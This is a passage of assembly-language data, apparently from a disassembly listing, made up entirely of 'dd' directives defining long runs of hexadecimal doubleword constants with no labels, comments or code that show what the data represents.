		dd 0A0084D4Bh, 8B54808Ch, 0B3167A82h, 0A6C55301h, 70C13733h
		dd 13501E4h, 8FC930B0h,	48CCC6F2h, 7F1CAEA4h, 466DD5Eh
		dd 0D0CAFC60h, 11D099BFh, 0E36200D3h, 37A40DC6h, 17B0075h
		dd 54CAB47Dh, 7634DE45h, 90C3419Ah, 73EA070Ch, 5A2EC92Ch
		dd 0BC908798h, 91324074h, 1D7C684Bh, 0F0CB2400h, 0C380C205h
		dd 1A1212ABh, 0CF40884Dh, 4CB8C9E0h, 53585C13h,	3D9F9088h
		dd 78813ED6h, 55A30AADh, 52EEE8FBh, 763FF004h, 0D0C23C5Bh
		dd 23D310D4h, 0D23CB490h, 486BA429h, 3050CA15h,	83F6D8A5h
		dd 6E1B0F1Eh, 31C3FA49h, 3280473Eh, 8509A14Ah, 8458CAC9h
		dd 0F0C8EAD8h, 0B15203BBh, 25D56B57h, 0C0C0EDE2h, 5A02A1F9h
		dd 7FCE5FE2h, 0DD8714Fh, 40E152B4h, 0A248D300h,	0B8EB6828h
		dd 9CA44h, 5D54518Ch, 227097D7h, 6F0F4400h, 59A6CC39h
		dd 5F2A1293h, 0C1D430CAh, 0A91D5CA1h, 404086D1h, 0E9AE383h
		dd 0F4E10542h, 0CB624E77h, 2879794Ch, 0D47D7800h, 6F54E7F4h
		dd 9F0D3C72h, 2C9BBBA0h, 0B7833891h, 114D3CE0h,	3DCB1028h
		dd 0BE9E784h, 0A0BC6B4Bh, 0FC5F4AAFh, 906928ACh, 276890A4h
		dd 98A02EDCh, 39E120A5h, 5AB4C124h, 4973981Fh, 156AE04Eh
		dd 80FF4CDEh, 0D410348Bh, 0B60084E7h, 0D2D0CBF1h, 4AD2642h
		dd 62761931h, 1804C790h, 0E11F80BFh, 0C4D1E384h, 889B38FDh
		dd 70A41819h, 28503DD3h
		dd 68226C54h, 183448BEh, 0DD5A7680h, 8C007565h,	0EF79823h
		dd 1BDC815h, 0B6A8AD68h, 6C6B54FAh, 0A44502A4h,	84D374DDh
		dd 1405524h, 4CCEAED0h,	16054100h, 19BA4AF9h, 3DB1C23Fh
		dd 0C445113h, 4A02FE00h, 1D413330h, 20840094h, 70F451C7h
		dd 0C47C9366h, 547F6A08h, 294F9E55h, 921597A0h,	30910F38h
		dd 0A87113C6h, 588B52h,	386997B6h, 196567Eh, 1185FC2Fh
		dd 0BC50F14Ch, 30DE959Dh, 0F571737Ah, 4388F9EBh, 0D4F200F0h
		dd 9B2F8279h, 6D0225F1h, 0CBDEE6C6h, 5611C05Dh,	404B4A9Ah
		dd 0F68B98DCh, 0CE0205E7h, 26D4B2AAh, 1694F004h, 88F442F5h
		dd 3C0B97ACh, 817A9C76h, 0D34EA4E8h, 0C0739460h, 0AEDE5ED9h
		dd 7BF07493h, 2F1CF216h, 0E02E58D7h, 414829E2h,	2AB40B79h
		dd 0C90D5C6h, 771D69AEh, 2284BF1Dh, 88E26B4Dh, 8130D040h
		dd 925E105Ah, 1BDD1D03h, 802F17C2h, 4F4E7A08h, 4C9B4620h
		dd 510C8CE1h, 0EE187BD2h, 57B0258Bh, 799EB499h,	0E0EB1880h
		dd 0A9AB91h, 6C658342h,	0ACFC03BBh, 1907301h, 0B8A8C4D4h
		dd 605C58E6h, 7EC2A0DCh, 505ADF19h, 0D5CEEC60h,	5C88091Dh
		dd 40A0A0E4h, 0E9073034h, 9C10675Eh, 26D32D90h,	2D9E6A14h
		dd 1CA169DEh, 40994415h, 0F45AF184h, 9A622890h,	1548FC8h
		dd 22FCDE46h, 0D0C61498h, 0C33C5864h, 0DF713FB5h, 85B801A0h
		dd 0DCA01F48h, 7E158653h, 3760C0D0h, 28D2FA51h,	4F4D1AD8h
		dd 0E4C28993h, 0D3066871h, 4520AD28h, 1683983h,	35C9490Eh
		dd 0F830D6DCh, 0A36402D8h, 1353D725h, 25973061h, 39A837F8h
		dd 0EA8A80CCh, 1264764h, 0FA4300E5h, 0AA9AAB7Eh, 0AF0BE61Bh
		dd 1050F4C9h, 5C9DDC30h, 9501F054h, 0BE9BB34Bh,	72407045h
		dd 0D4495092h, 54174CECh, 7F4466CCh, 0C9951h, 33822328h
		dd 1700F187h, 0ACB422BDh, 0A4EDA803h, 0EDE00A4h, 3C8D775Fh
		dd 0B40123F6h, 0C7140537h, 0DAF04C0Ch, 98174875h, 0A84C928h
		dd 734DB321h, 0D8921444h, 0ED89C732h, 0F200C87Ah, 0DD812EA1h
		dd 2ADBC1Ah, 88556784h,	364042EBh, 1048E5B2h, 648FC1F0h
		dd 8A403283h, 7E08F4h, 34E3CEFCh, 0FDB3D5FFh, 3D204205h
		dd 28D1B461h, 0D3CC53C9h, 992200BBh, 5EF61959h,	0D917045Ch
		dd 0B418B340h, 0E1226A9h, 0BF1BDC56h, 800CC392h, 98AE09FCh
		dd 0B48E58h, 0CB2B5F7Fh, 0FBA3B129h, 5EACDE00h,	0AFF9ADC1h
		dd 1FD000FCh, 0B46272FDh, 49883B8h, 91CBC625h, 31F978h
		dd 0A28118DEh, 0DC0B26E8h, 0E47C6273h, 40D20178h, 0B547E1F0h
		dd 98DC4852h, 151F4500h, 5C91E578h, 619F0099h, 1C72F744h
		dd 4103652Eh, 8D1B7FBBh, 466833D0h, 4FC8C90h, 408C659Dh
		dd 2BD700E1h, 0DB4AE73Bh, 6BFE8884h, 0F7277C01h, 53023908h
		dd 6C94A478h, 9B1B5E00h, 818C7C69h, 730CF119h, 634E79h
		dd 5D9DEE00h, 58D2FEDEh, 5611A0BCh, 0E4FC3C00h,	0E12E3BD6h
		dd 0F8BA520Ch, 25B609Dh, 875A1576h, 2740CEE4h, 0ED00DBA1h
		dd 6C7C94Ch, 94DDC39h, 0D070DE85h, 48CEFC11h, 40B5BB0h
		dd 684C240Fh, 0BD8138h,	0AE68217Ah, 0B4580B7Fh,	0F94C2DFEh
		dd 92CAC0F0h, 53D7ACB2h, 0A42EC061h, 0C9D9191Ah, 0C9A86277h
		dd 0ABDD8090h, 0B82A8EF8h, 0E1EB09A1h, 5460A134h, 0FCBC4D4Fh
		dd 0BCC00B44h, 0B9866CAFh, 24511168h, 7240D04Bh, 0E92782Eh
		dd 0ACD68D38h, 0F6B0F4A1h, 0AECC4B9h, 74E531C2h, 0E0D454C8h
		dd 0A489901Fh, 6497DC01h, 0B7D7ABBBh, 0F788AC79h, 1454099Fh
		dd 418912C3h, 0C0C3100Bh, 24D130ACh, 92A48CD0h,	0ED580885h
		dd 50752EBCh, 0D7C758h,	7A0BD43Fh, 425857DDh, 2504E803h
		dd 0A8FFA7C9h, 0B7F1131h, 9ECA15CCh, 0C0995480h, 7114B3D1h
		dd 2FC2410h, 74DE529Fh,	0ED7072E3h, 8AC6F030h, 56403856h
		dd 4A4878h, 0CFA8797Bh,	5D6B2287h, 340B1802h, 56267472h
		dd 0E49B441Ch, 0F050ECCCh, 18BE7464h, 1965E94Fh, 0CC401A5Ch
		dd 9759387Fh, 0FBB05C10h, 1933FA00h, 0C9061217h, 44DCBC1Bh
		dd 0BA408886h, 54965F0Eh, 1C30567Fh, 9515A457h,	7DB58491h
		dd 0DEAFC34Ch, 807DD008h, 2EE51FE8h, 30B35282h,	0DB77BEFCh
		dd 67319000h, 0CFF49396h, 640251DDh, 9D3176D5h,	14B3C4E8h
		dd 0A8572F7Bh, 3F839453h, 914CD7E4h, 7D6811C4h,	31CD5118h
		dd 7C00EB33h, 62EE2B43h, 0F92EFCF1h, 7631D87Dh,	0E2BD7B61h
		dd 40D4D112h, 5138A3A5h, 6FD74503h, 0F89D6269h,	16677E43h
		dd 28CE4C14h, 0F600884Ch, 2F592854h, 920341Eh, 4D7FBA38h
		dd 4F14C052h, 221C7E62h, 610200CEh, 0AF318F56h,	444A039Bh
		dd 90F28C94h, 18C97B00h, 0DE266DE5h, 232AA10Fh,	71214073h
		dd 13FF52A4h, 54839A02h, 0E1A0F85Ch, 0C018563h,	47B3248h
		dd 0A8528BFBh, 0C014E1CEh, 6C29B862h, 7B2A60A8h, 0C1EC319h
		dd 0BB99AE2h, 0C8E5B318h, 2452A1BCh, 0ADBC6BD1h, 0D44F8C98h
		dd 0CA51F461h, 70338BF5h, 499EE100h, 0D88ADE4h,	12D2AF3Ah
		dd 0AC0B5185h, 0F78024Ch, 0F86650h, 0F43D3016h,	5516D2Ah
		dd 0EC1C2E07h, 6B8072AEh, 48349642h, 92807C81h,	171DC920h
		dd 6757CA00h, 4DC8F34Ah, 0FCEC0096h, 29B4B372h,	0CD78A256h
		dd 0E83B441Eh, 0E24017C0h, 0BC4C417Dh, 0CD4B802Ch, 0E37ADA9Dh
		dd 880E7000h, 209BA67Eh, 0E218008Eh, 2909A79Ch,	40E25776h
		dd 0E01BF629h, 9030F913h, 5CD738h, 2A1A6F91h, 0BBC5ABF0h
		dd 1E146900h, 5E7FB38Ch, 0AC41F10Ch, 0C060A5CAh, 0B0AD95D1h
		dd 271C2D16h, 5FC04834h, 44310724h, 628817h, 352B2A29h
		dd 0A40C9228h, 1084A081h, 1C570A64h, 0C2661B26h, 0D92E61E1h
		dd 244CD492h, 4C156A16h, 11000027h, 0FEAE8Eh, 3868A8F5h
		dd 815E4F9Ch, 0C95121C6h, 92E20099h, 0EB5BDCD1h, 0B7381FF4h
		dd 2FED8099h, 5E6001A8h, 52AD0515h, 0D0B33FF5h,	0EEC9B4FCh
		dd 74DDD309h, 34582384h, 997C4Dh, 0A1D58A38h, 0E2FF8209h
		dd 0F3693301h, 9B182B97h, 4F5C61CAh, 0CC24283Ah, 0C9016601h
		dd 8B62C057h, 0F8B9DCh,	0DAF70BB4h, 0F40950FBh,	0FC176090h
		dd 7430BA9Dh, 254E827Eh, 48C4C34Fh, 48D0D84Eh, 3D1CD4A3h
		dd 3B806B0Bh, 4404B429h, 0D8923A8Ch, 83E744h, 0F34C0A50h
		dd 0E5BC0827h, 0D32ED176h, 541340DCh, 0D803B4B2h, 2F4D62A2h
		dd 0CA754BC0h, 80182D58h, 0D7C0E941h, 0EEF00CBh, 8530A9ACh
		dd 0BAFE74A4h, 34820494h, 0AACAAF1Dh, 0C8B8A0A8h, 0F860803Ch
		dd 0FB016Fh, 669184E8h,	15C43B3Ch, 0A5CB3D01h, 5CECA47Eh
		dd 3E5E185h, 0E3E812BFh, 0B4CE071Ch, 9AD0F720h,	0D36C37h
		dd 77590915h, 162779C7h, 2A9C3F48h, 0E8EF3C75h,	1A00FF19h
		dd 0D984A1Eh, 6B9801Dh,	0F07360FBh, 0D4B429EEh,	4F667240h
		dd 0CF24031Eh, 0C2D4FF75h, 0C7C42DD0h, 0D0A4F624h, 0E503DE09h
		dd 0D89D0E6Ch, 0F8DD2E1h, 0DFCECC4Fh, 46961E0Ah, 6826EE3Bh
		dd 0AA6A4940h, 126CE89Bh, 94ECCD37h, 62CC0ECh, 5000E325h
		dd 7AFFE01h, 196F20DFh,	307578D7h, 3EB867D1h, 5FE4C9Dh
		dd 0C8F9097Bh, 8CA84884h, 0E094E187h, 3C10ED2Ah, 34DE6208h
		dd 7B0F8049h, 3ACD0906h, 0BD8A5D05h, 4CCC81FDh,	7EED0EEFh
		dd 27E09C90h, 0D1217350h, 2300F6B8h, 0D874D9F5h, 1DD275E4h
		dd 28C6ED0Eh, 40149C64h, 0D8121FF7h, 2A0F5E02h,	0C1AB3B89h
		dd 186CCACCh, 8A07C00h,	73B0E2D5h, 0C4E2A0B6h, 0D8DE0556h
		dd 5C163C38h, 2C2315BAh, 0C635F05Eh, 0DC583DFEh, 0E84A7Eh
		dd 94265C88h, 804B6B4Eh
		dd 954CE48Ch, 98651420h, 5458BCAEh, 0C40D2C24h,	0F602D104h
		dd 3204401Fh, 0F5F76273h, 0E4402FFDh, 88198F18h, 501B3A79h
		dd 89BB3680h, 97AEDE0Fh, 684E740Eh, 8B6A64D3h, 1BA8C856h
		dd 298FBD00h, 44075E67h, 0CE74007Dh, 4D9E1E1Ch,	5D13CF68h
		dd 0FC9102DEh, 203ED5C6h, 749F0370h, 2DE5A309h,	4AE4D871h
		dd 0BC1490EDh, 120498E8h, 0FDD21D27h, 0A0C868C4h, 0E5CA059Dh
		dd 0E43534E1h, 0B7036ABCh, 6F4C45C9h, 98707798h, 0E9E42534h
		dd 68002C6Ch, 95F59B6h,	0F036229Ah, 3493F6h, 579754EEh
		dd 5AE429C9h, 0C80BDC77h, 10477EE6h, 1D45E14h, 0EDF091E7h
		dd 40CAC682h, 0B0EFB36Ch, 0CC4C53h, 1D5A98CFh, 148696CCh
		dd 0F8315140h, 7F0FB856h, 26606182h, 3385DAD7h,	939FD00Eh
		dd 19885F4Ah, 4C468334h, 0A9539A32h, 92F70070h,	0D16EEFCDh
		dd 2696F493h, 0BFF01Ch,	46078C90h, 3BFDD7DCh, 44D5D049h
		dd 0CE341B00h, 5948384Eh, 24212298h, 999760h, 4775E1C6h
		dd 0E3709F8Dh, 742BC200h, 420AFD57h, 7C09051Ch,	5C48866h
		dd 0CC40E080h, 9A00B734h, 6051FDEh, 0EEB3E5h, 0F0CE2EE9h
		dd 0E6194C08h, 7BBD1A3Ch, 5605D0B3h, 90101876h,	134E2280h
		dd 0A2C14BFAh, 0EFBB0020h, 0B3E8E5CDh, 27AC91A2h, 401F864h
		dd 5DDF2BE4h, 0C3F409AFh, 0C69C0129h, 2CF54716h, 0B03379h
		dd 40389643h, 804A66h, 133AED1Dh, 0FBDE0408h, 0B0E9CF25h
		dd 19E469Ch, 0B65A7E6Ch, 22518242h, 0E3860374h,	33F5B31Ch
		dd 5C98EF8Ch, 524D02Dh,	94B27434h, 84EE8Ah, 0D8C6F7E2h
		dd 0AE80EAD4h, 3892176Ah, 1A4954Ch, 0A4693446h,	8CC8D3BAh
		dd 2600F480h, 6F444263h, 17E010E3h, 0A129B3h, 0D3F5F67Ch
		dd 16761A31h, 30FF5B00h, 0F703B47Fh, 7ADE294Fh,	0EB093E9Ch
		dd 44CCE978h, 0B1DE3600h, 3CAA3B20h, 0A6DF016Eh, 0ED92FB0Eh
		dd 306080C8h, 0F57EADC9h, 48621E75h, 0DC540BAFh, 0EDE9350Ch
		dd 6FE544h, 0A52A594Eh,	0E8ECCF70h, 0AA7A19C0h,	3D92715h
		dd 0C4868B40h, 0CFE85473h, 5D0952EDh, 64517EE7h, 90127DA4h
		dd 0A150325Ch, 9C84E5A9h, 0CB5B4453h, 2FE6E4C2h, 0E99970E6h
		dd 0B4216AF9h, 0FAF0C769h, 4CC57101h, 0C916D548h, 272CA4ECh
		dd 6F172003h, 0DA150A29h, 0BD2C60F9h, 69B088CFh, 3C769009h
		dd 0F65C68E4h, 0E3D1071Eh, 0A26BA622h, 0B8901155h, 0BAFD51B3h
		dd 17AE0029h, 8311A5D0h, 10E5093Bh, 0ECD9BB34h,	72804A1Fh
		dd 0C1E62BFBh, 86F61C60h, 0B46D40ACh, 0B33C8323h, 0FF2EAF04h
		dd 0FCC0C6B0h, 139DF841h, 0F5E45B9Bh, 32CBF5D8h, 5FE1C084h
		dd 46DDF19h, 6914B4D1h,	2DFC882Eh, 0C6FCCB01h, 55055CEEh
		dd 0A742E0h, 81A19630h,	0F0532AA8h, 0C9D05250h,	0F372BAE0h
		dd 0B362F5F4h, 4470DEE9h, 2A9D172Ch, 0D2390DAEh, 0BBD04CA0h
		dd 0FC866403h, 0C14F9EB0h, 8BE013EBh, 59E50040h, 0E1B2BDB9h
		dd 0C4980D15h, 7FCC9B02h, 465679DAh, 0FE3607DCh, 40B434E4h
		dd 0AB4039C1h, 0AEC9F301h, 7E504D10h, 56BC226Ah, 0C91B4F27h
		dd 0CC217BB0h, 44207EECh, 0CCB05E1Ch, 97525422h, 0D513B7F8h
		dd 204C3Bh, 7EC52Dh, 294FA709h,	6054E83Ch, 9D0AE9E4h, 80EA4DFDh
		dd 567FB301h, 0F2EADE1Bh, 990A0B68h, 8C19A1B4h,	844C2CCBh
		dd 0A528CC69h, 43A2E8A0h, 0D41D1BECh, 0B1802B02h, 0F2E640EDh
		dd 235C5F73h, 0D69098D8h, 5600DDA7h, 2F22A123h,	50A347h
		dd 0D1803E6Fh, 4CB40A0h, 51B45C1Ch, 238EB7Bh, 2B866BB8h
		dd 35007844h, 38733F0Ah, 24A0C3h, 2B991911h, 5A6B1E22h
		dd 0B44E2F7Eh, 0FF8ADC20h, 2F27A60h, 675F042Ah,	307E2BB0h
		dd 71259B40h, 17550503h, 3A1CF90h, 0B9F0D79Fh, 0D082BAC2h
		dd 0EE21E968h, 0F8704010h, 0AC6458F5h, 0E03178C0h, 0F77BD5A5h
		dd 300C6251h, 75895418h, 911080F5h, 6B0017ABh, 634A3D15h
		dd 0BC6C305h, 181AA70Bh, 402F80Bh, 1C62A98Eh, 0E101E866h
		dd 0BA5B73FCh, 0F02C2738h, 3A4CA96h, 0AB09E0B3h, 5A219055h
		dd 71574A9Bh, 2DDC004h,	0C66C625Bh, 8BDE4AF0h, 0E5B600D4h
		dd 80442941h, 0C6B00D2h, 54D87657h, 484C75DEh, 3145689h
		dd 97C21922h, 997DD0B5h, 6DB401A5h, 3633EC7h, 81A82CCFh
		dd 30F506AAh, 3953FCh, 7F4FD988h, 0B0EA4170h, 69B35000h
		dd 6AA59F29h, 0AA8CA0FEh, 914FE8FCh, 91BF6010h,	0B10055F9h
		dd 586B7693h, 1A4745B7h, 504B32E0h, 108388C1h, 6EE414h
		dd 0B276DDB9h, 64AFED18h, 4A43109Eh, 0F3C4889Ch, 0A96D00B5h
		dd 124F3370h, 36010D42h, 0C5D70657h, 0A5E25277h, 94D19D80h
		dd 62085920h, 0EC20F75Bh, 0C6A96E0h, 9B4BF866h,	9FCCA69h
		dd 0F0197FCh, 1BC91265h, 0C1D2DF15h, 0DE11ABDCh, 0C8203A7Bh
		dd 774D9975h, 5CEFFC82h, 0D488A8FCh, 0A04A5B45h, 84117C40h
		dd 0F03F6700h, 2D7AB7C5h, 9816F70Bh, 1E487186h,	0A5498773h
		dd 0B9850090h, 0F9010F9Eh, 44AB5CA3h, 0ECC4326Ah, 69FB6024h
		dd 4F4D557Eh, 54D491B5h, 625E20E6h, 82B5C6B2h, 7A7A2DFCh
		dd 35700E4h, 35627325h,	1C5C48A1h, 0CBD31A38h, 0BC404359h
		dd 0B2CA135Fh, 3A0321DCh, 0E857980Bh, 0F208DCB1h, 1D625204h
		dd 0E2C1E82Ah, 54407234h, 701BB28Eh, 40E0B4CEh,	162BF1A3h
		dd 8419BFE8h, 96195EC9h, 0C33D3FDh, 0C8576416h,	508A8604h
		dd 0C82A4BC8h, 7BE230DCh, 0B02F0300h, 9A79CF97h, 0F2EB2FB4h
		dd 807DD461h, 4972F72Ah, 502DC9B6h, 4466385Ah, 38217F7Eh
		dd 756C1656h, 0BDEC9120h, 8F9C3D52h, 7BC4C023h,	334BCC2h
		dd 8FE1AF45h, 4DB0BEA0h, 0D202BF3Ah, 0A6DE73E8h, 0EA68E1A2h
		dd 22481715h, 14F3CD08h, 31132780h, 0F6375D4h, 85580CA3h
		dd 4C964D69h, 170BF00h,	97F319B4h, 1A580B1Ch, 0E029E114h
		dd 853EB879h, 31A19075h, 7D45F1C0h, 0CF62193Ah,	10E998D2h
		dd 0C0E634E1h, 0A1AD5EE9h, 0B8B464E4h, 0C9B41403h, 0E0582E53h
		dd 205096DCh, 3EFF3268h, 35A2B201h, 0B6C49DCAh,	0D7F88A21h
		dd 2FBF76B0h, 50B85FEBh, 0B09C87Ah, 4169E161h, 50D29D68h
		dd 0DDFA1638h, 0AFAC207Bh, 0DC1855C9h, 1A805E73h, 15E8E9E9h
		dd 0CDE70F4h, 0B94B660Ch, 0D0007859h, 407EBE27h, 7BCF4205h
		dd 0EBF8027Fh, 0E43DF0D5h, 0C0007064h, 4F17BD62h, 0AF6685h
		dd 0B8CFB5B4h, 0D324983Ah, 0CD02BCB8h, 504F9ABAh, 2DD07126h
		dd 0FB016CC4h, 701B0C89h, 39205139h, 0E2290071h, 0A70DACF5h
		dd 20F79FE9h, 0C748DCACh, 0E53960BBh, 2E7496A6h, 1C84CA14h
		dd 4C76008Dh, 0ECC9B0ADh, 8423B313h, 58CCEC30h,	3A0AB83Dh
		dd 800FF25h, 55B43105h,	53030204h, 0D3C7CA54h, 463125F5h
		dd 0F120D4A1h, 0AB3FF439h, 9F0E7907h, 81BE82DFh, 8959E183h
		dd 0FC229438h, 9B4D2492h, 0ED487894h, 68A7DDC8h, 0C21DF8h
		dd 38BD9C45h, 0C579C3BFh, 0C8206EFBh, 0E85937h,	96406765h
		dd 0BAA1CB0Fh, 0A07AE7Ah, 9E5A4971h, 0EDA3EC91h, 601468A6h
		dd 9C1AB507h, 0FC243Ah,	0DBC41460h, 2EF1F2h, 1CFE511h
		dd 9EDC2CB7h, 6AB30C00h, 0C79B368Bh, 1303E6D9h,	44C5CC9h
		dd 52271A54h, 0A1004CB2h, 7CDFE4A7h, 1D000F17h,	9320FD05h
		dd 588B464Ch, 0CF220C23h, 0E6D5C62Fh, 740902B0h, 277669ADh
		dd 0E29474E1h, 0D13060E0h, 0F0ED0E2Ch, 4D836160h, 15FA3FEEh
		dd 9CC548EBh, 64324900h, 504C1AAFh, 47DD961h, 0A5D38C45h
		dd 0E3BC8554h, 0FC6A1010h, 248C10D6h, 64A0512Fh, 0B98C4797h
		dd 20C4B603h
		dd 0E801C681h, 0C4CD9FEh, 50E02E57h, 28BF13E0h,	7E00302Ch
		dd 0D3DA3F16h, 8431176Fh, 0C6D8023Ah, 0AE20FCD6h, 24795EB4h
		dd 9C8C248h, 0A8DBDC38h, 551B7F05h, 2C480C8Bh, 0DE44333Eh
		dd 9049034Ah, 2021011Ch, 0BFD35528h, 76045742h,	2D78A0D4h
		dd 4C9134EEh, 6B8C5CB4h, 0DCC8598Ch, 5CE85076h,	4D0313C7h
		dd 8DC031D3h, 0E9C2DECh, 4469A84Ah, 6C0FD35h, 0B82334Dh
		dd 5BFC1EFAh, 10E17802h, 269E4DEh, 464BF0B0h, 9F3100B0h
		dd 0EB1627E0h, 0A3015E03h, 0AEC21F24h, 0A4FD4789h, 884A406Ch
		dd 13016AE4h, 3BAD7998h, 0C3C5F66Fh, 0E5A8086Bh, 30207B44h
		dd 0BC8852ECh, 0AB2D0069h, 0F9CEE343h, 53487FB2h, 18FD80D0h
		dd 729832A9h, 733E09D3h, 4CC852B3h, 0CA038CB2h,	891D3985h
		dd 0C7BB90D8h, 0FDAF0EBFh, 0D32004A8h, 0F6EAE725h, 6BC8CC12h
		dd 53D8B001h, 1BD4AD3Ch, 2BB4134Ch, 49A48882h, 0B8043B97h
		dd 5BDE4001h, 0CA882071h, 38B58498h, 7A0104h, 73437116h
		dd 0B8F33972h, 822F6925h, 7A9CCAE4h, 197D74A0h,	0E96720BAh
		dd 8C32EDh, 0FFF34D4Fh,	2561906h, 841173C1h, 55772A0h
		dd 0C884C08h, 75237BA1h, 1C5E0015h, 262AA359h, 0A80F03CAh
		dd 0D2BA0FCDh, 33682C32h, 886A82D2h, 0C300D871h, 688CE2F0h
		dd 3C63E6Ch, 24DC7D80h,	0A585FA9Bh, 0DC5E0C24h,	0C1656F1Eh
		dd 106D6BACh, 7192E3C0h, 0F9078790h, 0FF78683Fh, 0CDD1ADF0h
		dd 0FA84AA7Eh, 52E57D20h, 0E422803Bh, 5A390C00h, 4CE3C20Bh
		dd 0F34F0158h, 8559686h, 0E1A42097h, 6C9C34B8h,	25D7AE94h
		dd 0B7987247h, 0ECA4B818h, 5BE91661h, 0CC3C1CBAh, 58C7C898h
		dd 5175DE12h, 78C14CA9h, 0EF21AD0Ah, 4CC3294Ah,	0F5290036h
		dd 1AF743D2h, 4B7EE33h,	0E340F9F8h, 4EB61CD7h, 0F181BD0Fh
		dd 486E8021h, 5B2D65D8h, 933B0BF9h, 0B6003C64h,	43B94833h
		dd 0C3754Fh, 21088BADh,	0A5ED2F05h, 2754D05Dh, 0B1EC667Eh
		dd 926B1078h, 52E32C04h, 0D4545E09h, 0AC110C04h, 0DC1D70C0h
		dd 8820B52Eh, 8F881769h, 253FF103h, 0D18E2D10h,	63C0B1CEh
		dd 0B4740B1Ah, 0F882F5CFh, 0CC0A3AEh, 4F259937h, 90F85166h
		dd 281A93BDh, 68D87930h, 14B514C4h, 81FCEE16h, 3FD4C6C8h
		dd 70C22C24h, 3A582A54h, 64D46145h, 1B88CED0h, 0AFD30E8Ah
		dd 0E4E5D22Dh, 82A4C572h, 7059C984h, 41E87614h,	0D24412F0h
		dd 804480E6h, 8B6E1h, 0B392FC41h, 0FF1EA8B4h, 28098332h
		dd 34D4093Ch, 965EF8D0h, 5C64AD6Ch, 2EA79107h, 0CF909DC1h
		dd 2502F7h, 30534167h, 21A25626h, 9CCE6C13h, 8058A887h
		dd 0B42FC9F5h, 0C7A06889h, 5CB946FCh, 554DBA84h, 65D35E47h
		dd 0C9D40443h, 1130B25Dh, 0C85F83D1h, 0F80172A0h, 0D62D9AC9h
		dd 0B4689E59h, 5321BCD0h, 579F2DE1h, 0C7596F0h,	9A9303BAh
		dd 0D528C770h, 0CA5420E5h, 0FC59A9A0h, 0B301658h, 0C94088h
		dd 684524D0h, 0E45B1142h, 92807896h, 7F030B4Dh,	0F0277083h
		dd 20B35E65h, 0B9F39D50h, 72F71E09h, 1E4C4A4h, 0F83080C9h
		dd 0FCA1417Eh, 0C3009D7Bh, 0FC256EE4h, 60D1C6CAh, 76E5A1F6h
		dd 0B8BC3DC9h, 0E20BA0C0h, 97285CE0h, 0EC00473Fh, 0E43DF27Fh
		dd 30168277h, 44E6515Ch, 0A029EE1Dh, 1D8C2880h,	0F8570F00h
		dd 5CE3D385h, 0C6A60737h, 707E2ABAh, 0CE0673A5h, 98A6BDF2h
		dd 0D403FA00h, 4CFCF42Ch, 69F562D1h, 21409ECAh,	0D055C7DCh
		dd 9583018h, 0F678960Eh, 588566CEh, 16C90088h, 15D7BF41h
		dd 0D60BAB42h, 0C4AEFBF5h, 653410C8h, 0E17C804Bh, 0B37AC0h
		dd 0CAB09333h, 76029A0Ah, 15D9E700h, 0ACB81611h, 5D851703h
		dd 0E4C430B4h, 0F801763Eh, 0E8A522E0h, 51CC7524h, 94019F6Ah
		dd 0FCE1CAA1h, 5C0F13E2h, 92544AE4h, 0E6C0FCA8h, 471CFF6Dh
		dd 6E034598h, 2DA78774h, 99C2F98Ah, 8FA8202Ah, 3005B9BBh
		dd 13E4667Eh, 1160F0C2h, 96C91150h, 1FAF63C8h, 0DD1303F4h
		dd 4E98023Ah, 0A890F650h, 0B4095E06h, 8A2412FBh, 4C64B448h
		dd 17E5748Ch, 89438FCh,	5E8022F8h, 0AE2FE19Bh, 0DFA1050Ah
		dd 0EC8E70F3h, 0E456C3ECh, 0A1990B35h, 4CFB78ECh, 615D7382h
		dd 287E60EFh, 4D140079h, 6A75537Bh, 0F2008A9Ch,	59637E0Dh
		dd 7322279Dh, 3C4D98B7h, 0BE8FEE57h, 0AAA1FAADh, 809E11B8h
		dd 3A4CEF10h, 1048B0Dh,	1A53E20h, 0E4D612AFh, 38C0AE2Ah
		dd 0F1862D1Eh, 4EE5002Eh, 71074516h, 0DB16255Ch, 3001C29Fh
		dd 0D8BCFDEEh, 0FF196987h, 80A31016h, 29B8EC01h, 98251331h
		dd 8D012139h, 61BE58h, 0EF563FBBh, 307AB32h, 5C470396h
		dd 5100D7BDh, 0E1CCDD97h, 18B45FA9h, 0C8EC89C2h, 0B550A8DEh
		dd 8D002340h, 80932959h, 32C9C5Ch, 0D31456B6h, 0BCA1551Bh
		dd 0F35180A5h, 5824FFC1h, 51EC00B3h, 0CEDBBD84h, 8C30648Ah
		dd 3F33996Bh, 0C7053ED4h, 9700FAD8h, 0D1F2CC55h, 88005201h
		dd 0F983E98Ch, 4B48D2Ch, 0B68E10A0h, 0C33BC05Dh, 1E019B33h
		dd 8CFE50B2h, 0C44290ACh, 8DBCA32Ch, 5CB900B6h,	0B7AEAB04h
		dd 0C6FADABFh, 0BD4C19DEh, 6004B1DDh, 0ED0C392Bh, 94003055h
		dd 743B4D8Fh, 0A405E2D1h, 335C00F0h, 8AF7C6BAh,	8D30B657h
		dd 237E51AAh, 998601CCh, 2A4233FBh, 1C5FFEBh, 0A8A9B010h
		dd 7FF2E84Ah, 526394Ch,	0F8C7BD58h, 0C0AFD803h,	0B46940CFh
		dd 5169EE5Ch, 0F7F06486h, 0A9B72660h, 9B55070Fh, 0AF2680D3h
		dd 1CA0D8D9h, 200725A1h, 41ADC2EDh, 148C19ECh, 0F8BCB5A6h
		dd 0C5D1D380h, 4E1C5C05h, 0A300E387h, 1FDA0129h, 0D06D5438h
		dd 31D160BBh, 5A057560h, 15627700h, 0B118F3C6h,	0CEA90198h
		dd 0C587AA08h, 208EC0DDh, 0B1C23430h, 38AC0AD9h, 698F2573h
		dd 5138BCB8h, 4200A1DCh, 9E97C401h, 0DA1320h, 32584D3Eh
		dd 6857CBC5h, 59C7B01Eh, 234EC902h, 0ABEC912Ah,	8EE2A411h
		dd 0A0E9495Eh, 62DD016Ch, 0C7FE001Eh, 4A85D61Fh, 8C90052Fh
		dd 0E3ADDB3Dh, 548C39h,	50A458E1h, 0C74A878h, 0B62D9001h
		dd 0AA5261A9h, 0DE0CFE28h, 0AE39AC91h, 0B49FBF29h, 48724E0Ch
		dd 0C531331Fh, 20E3AFF1h, 61195CC3h, 0AD312655h, 7ED020h
		dd 9FD0CB24h, 451467A6h, 0E6B51E01h, 0B08D9B1Ch, 47356980h
		dd 0C5F4E2BBh, 3D49143Ah, 130FF99Ch, 6903C83Ch,	0CCC422FBh
		dd 378C90B7h, 9A6E00B1h, 0E43C20C0h, 5200B850h,	0F09D5560h
		dd 2499156Ch, 43740557h, 40C042B7h, 0DA3C4B7Fh,	0C2150049h
